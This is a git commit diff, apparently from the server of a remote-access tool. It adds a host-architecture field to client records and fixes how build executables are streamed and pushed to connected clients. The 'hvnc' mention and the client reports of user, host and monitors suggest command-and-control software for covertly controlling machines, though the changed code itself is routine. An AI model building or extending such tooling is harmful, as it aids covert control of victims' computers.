fix hvnc issue, fix build watcher issue, fix wrong type of exe being sent on updates.

This commit is contained in:
KingKDot
2026-05-05 19:31:55 -05:00
parent fefa30e7b9
commit ec62401911
12 changed files with 193 additions and 81 deletions
+1
View File
@@ -23,6 +23,7 @@ export type Hello = {
host: string;
os: string;
arch: string;
hostArch?: string;
version: string;
user: string;
monitors: number;
+9 -6
View File
@@ -190,20 +190,23 @@ export async function startBuildProcess(
logger.error(`[build:${buildId.substring(0, 8)}] ERROR: ${data.error}`);
}
build.controllers.forEach((controller) => {
const alive: ReadableStreamDefaultController[] = [];
for (const controller of build.controllers) {
try {
controller.enqueue(encoded);
} catch (err) {
logger.error("[build] Failed to send to stream:", err);
alive.push(controller);
} catch {
}
});
}
build.controllers.length = 0;
build.controllers.push(...alive);
if (data.type === "complete") {
build.controllers.forEach((controller) => {
for (const controller of build.controllers) {
try {
controller.close();
} catch {}
});
}
build.controllers.length = 0;
}
};
@@ -800,7 +800,7 @@ export async function handleBuildRoutes(
continue;
}
const clientOs = client.os?.toLowerCase() || "";
const clientArch = client.arch?.toLowerCase() || "";
const clientArch = (client.hostArch || client.arch || "").toLowerCase();
const clientPlatform = `${clientOs}-${clientArch}`;
if (!targetPlatforms.has(clientPlatform)) {
skippedNoMatch++;
@@ -885,7 +885,7 @@ export async function handleBuildRoutes(
}
const clientOs = client.os?.toLowerCase() || "";
const clientArch = client.arch?.toLowerCase() || "";
const clientArch = (client.hostArch || client.arch || "").toLowerCase();
const clientPlatform = `${clientOs}-${clientArch}`;
const buildFile = buildPlatforms.get(clientPlatform);
if (!buildFile) {
+1
View File
@@ -16,6 +16,7 @@ export type ClientInfo = {
host?: string;
os?: string;
arch?: string;
hostArch?: string;
version?: string;
user?: string;
nickname?: string;
+1
View File
@@ -128,6 +128,7 @@ export async function handleHello(
info.host = sanitizeInfoString(payload.host);
info.os = sanitizeInfoString(payload.os);
info.arch = sanitizeInfoString(payload.arch, 32);
info.hostArch = sanitizeInfoString((payload as any).hostArch, 32) || info.arch;
info.version = sanitizeInfoString(payload.version, 64);
info.user = sanitizeInfoString(payload.user);
info.monitors = sanitizeMonitorCount(payload.monitors) ?? info.monitors;